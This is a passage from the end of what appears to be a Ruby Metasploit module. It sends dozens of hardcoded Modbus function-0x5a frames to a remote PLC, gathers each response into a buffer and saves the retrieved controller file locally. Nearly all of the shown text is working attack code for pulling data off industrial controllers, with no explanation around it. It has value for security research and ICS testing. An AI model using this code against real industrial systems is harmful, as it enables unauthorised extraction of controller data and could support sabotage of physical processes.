send_frame(make_frame("\x01\x5a\x00\x28\x60\x87\x00\x07\xec\x00")) 594 | filedata += response[0xe..-1] 595 | response = send_frame(make_frame("\x01\x5a\x00\x28\x4c\x88\x00\x07\xec\x00")) 596 | filedata += response[0xe..-1] 597 | response = send_frame(make_frame("\x01\x5a\x00\x28\x38\x89\x00\x07\xec\x00")) 598 | filedata += response[0xe..-1] 599 | response = send_frame(make_frame("\x01\x5a\x00\x28\x24\x8a\x00\x07\xec\x00")) 600 | filedata += response[0xe..-1] 601 | response = send_frame(make_frame("\x01\x5a\x00\x28\x10\x8b\x00\x07\xec\x00")) 602 | filedata += response[0xe..-1] 603 | response = send_frame(make_frame("\x01\x5a\x00\x28\xfc\x8b\x00\x07\xec\x00")) 604 | filedata += response[0xe..-1] 605 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe8\x8c\x00\x07\xec\x00")) 606 | filedata += response[0xe..-1] 607 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\x8d\x00\x07\xec\x00")) 608 | filedata += response[0xe..-1] 609 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\x8e\x00\x07\xec\x00")) 610 | filedata += response[0xe..-1] 611 | response = send_frame(make_frame("\x01\x5a\x00\x28\xac\x8f\x00\x07\xec\x00")) 612 | filedata += response[0xe..-1] 613 | response = send_frame(make_frame("\x01\x5a\x00\x28\x98\x90\x00\x07\xec\x00")) 614 | filedata += response[0xe..-1] 615 | response = send_frame(make_frame("\x01\x5a\x00\x28\x84\x91\x00\x07\xec\x00")) 616 | filedata += response[0xe..-1] 617 | response = send_frame(make_frame("\x01\x5a\x00\x28\x70\x92\x00\x07\x52\x00")) 618 | filedata += response[0xe..-1] 619 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe0\xef\x00\x07\xec\x00")) 620 | filedata += response[0xe..-1] 621 | response = send_frame(make_frame("\x01\x5a\x00\x28\xcc\xf0\x00\x07\x4f\x00")) 622 | filedata += response[0xe..-1] 623 | response = send_frame(make_frame("\x01\x5a\x00\x28\xfc\xd9\x03\x07\xec\x00")) 624 | filedata += response[0xe..-1] 625 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe8\xda\x03\x07\xec\x00")) 626 | filedata += response[0xe..-1] 627 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\xdb\x03\x07\xec\x00")) 628 | filedata += response[0xe..-1] 629 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\xdc\x03\x07\xec\x00")) 630 | filedata += response[0xe..-1] 631 | response = send_frame(make_frame("\x01\x5a\x00\x28\xac\xdd\x03\x07\xec\x00")) 632 | filedata += response[0xe..-1] 633 | response = send_frame(make_frame("\x01\x5a\x00\x28\x98\xde\x03\x07\xec\x00")) 634 | filedata += response[0xe..-1] 635 | response = send_frame(make_frame("\x01\x5a\x00\x28\x84\xdf\x03\x07\xec\x00")) 636 | filedata += response[0xe..-1] 637 | response = send_frame(make_frame("\x01\x5a\x00\x28\x70\xe0\x03\x07\xec\x00")) 638 | filedata += response[0xe..-1] 639 | response = send_frame(make_frame("\x01\x5a\x00\x28\x5c\xe1\x03\x07\xec\x00")) 640 | filedata += response[0xe..-1] 641 | response = send_frame(make_frame("\x01\x5a\x00\x28\x48\xe2\x03\x07\xec\x00")) 642 | filedata += response[0xe..-1] 643 | response = send_frame(make_frame("\x01\x5a\x00\x28\x34\xe3\x03\x07\xec\x00")) 644 | filedata += response[0xe..-1] 645 | response = send_frame(make_frame("\x01\x5a\x00\x28\x20\xe4\x03\x07\xec\x00")) 646 | filedata += response[0xe..-1] 647 | response = send_frame(make_frame("\x01\x5a\x00\x28\x0c\xe5\x03\x07\xec\x00")) 648 | filedata += response[0xe..-1] 649 | response = send_frame(make_frame("\x01\x5a\x00\x28\xf8\xe5\x03\x07\xec\x00")) 650 | filedata += response[0xe..-1] 651 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe4\xe6\x03\x07\xec\x00")) 652 | filedata += response[0xe..-1] 653 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd0\xe7\x03\x07\xec\x00")) 654 | filedata += response[0xe..-1] 655 | response = send_frame(make_frame("\x01\x5a\x00\x28\xbc\xe8\x03\x07\xec\x00")) 656 | filedata += response[0xe..-1] 657 | response = send_frame(make_frame("\x01\x5a\x00\x28\xa8\xe9\x03\x07\xec\x00")) 658 | filedata += response[0xe..-1] 659 | response = send_frame(make_frame("\x01\x5a\x00\x28\x94\xea\x03\x07\xec\x00")) 660 | filedata += response[0xe..-1] 661 | response = send_frame(make_frame("\x01\x5a\x00\x28\x80\xeb\x03\x07\xec\x00")) 662 | filedata += response[0xe..-1] 663 | response = send_frame(make_frame("\x01\x5a\x00\x28\x6c\xec\x03\x07\xec\x00")) 664 | filedata += response[0xe..-1] 665 | response = send_frame(make_frame("\x01\x5a\x00\x28\x58\xed\x03\x07\xec\x00")) 666 | filedata += response[0xe..-1] 667 | response = send_frame(make_frame("\x01\x5a\x00\x28\x44\xee\x03\x07\xec\x00")) 668 | filedata += response[0xe..-1] 669 | response = send_frame(make_frame("\x01\x5a\x00\x28\x30\xef\x03\x07\xec\x00")) 670 | filedata += response[0xe..-1] 671 | response = send_frame(make_frame("\x01\x5a\x00\x28\x1c\xf0\x03\x07\xec\x00")) 672 | filedata += response[0xe..-1] 673 | response = send_frame(make_frame("\x01\x5a\x00\x28\x08\xf1\x03\x07\xec\x00")) 674 | filedata += response[0xe..-1] 675 | response = send_frame(make_frame("\x01\x5a\x00\x28\xf4\xf1\x03\x07\xec\x00")) 676 | filedata += response[0xe..-1] 677 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe0\xf2\x03\x07\xec\x00")) 678 | filedata += response[0xe..-1] 679 | response = send_frame(make_frame("\x01\x5a\x00\x28\xcc\xf3\x03\x07\xec\x00")) 680 | filedata += response[0xe..-1] 681 | response = send_frame(make_frame("\x01\x5a\x00\x28\xb8\xf4\x03\x07\xec\x00")) 682 | filedata += response[0xe..-1] 683 | response = send_frame(make_frame("\x01\x5a\x00\x28\xa4\xf5\x03\x07\xec\x00")) 684 | filedata += response[0xe..-1] 685 | response = send_frame(make_frame("\x01\x5a\x00\x28\x90\xf6\x03\x07\xec\x00")) 686 | filedata += response[0xe..-1] 687 | response = send_frame(make_frame("\x01\x5a\x00\x28\x7c\xf7\x03\x07\xec\x00")) 688 | filedata += response[0xe..-1] 689 | response = send_frame(make_frame("\x01\x5a\x00\x28\x68\xf8\x03\x07\xec\x00")) 690 | filedata += response[0xe..-1] 691 | response = send_frame(make_frame("\x01\x5a\x00\x28\x54\xf9\x03\x07\xec\x00")) 692 | filedata += response[0xe..-1] 693 | response = send_frame(make_frame("\x01\x5a\x00\x28\x40\xfa\x03\x07\xec\x00")) 694 | filedata += response[0xe..-1] 695 | response = send_frame(make_frame("\x01\x5a\x00\x28\x2c\xfb\x03\x07\xec\x00")) 696 | filedata += response[0xe..-1] 697 | response = send_frame(make_frame("\x01\x5a\x00\x28\x18\xfc\x03\x07\xec\x00")) 698 | filedata += response[0xe..-1] 699 | response = send_frame(make_frame("\x01\x5a\x00\x28\x04\xfd\x03\x07\xec\x00")) 700 | filedata += response[0xe..-1] 701 | response = send_frame(make_frame("\x01\x5a\x00\x28\xf0\xfd\x03\x07\xec\x00")) 702 | filedata += response[0xe..-1] 703 | response = send_frame(make_frame("\x01\x5a\x00\x28\xdc\xfe\x03\x07\x8f\x00")) 704 | filedata += response[0xe..-1] 705 | response = send_frame(make_frame("\x01\x5a\x00\x28\x6c\xff\x03\x07\x94\x00")) 706 | filedata += response[0xe..-1] 707 | 708 | print_status("#{rhost}:#{rport} - MODBUS - Closing file '#{datastore['FILENAME']}'") 709 | file.print filedata 710 | file.close 711 | end 712 | def cleanup 713 | disconnect rescue nil 714 | end 715 | end 716 | --------------------------------------------------------------------------------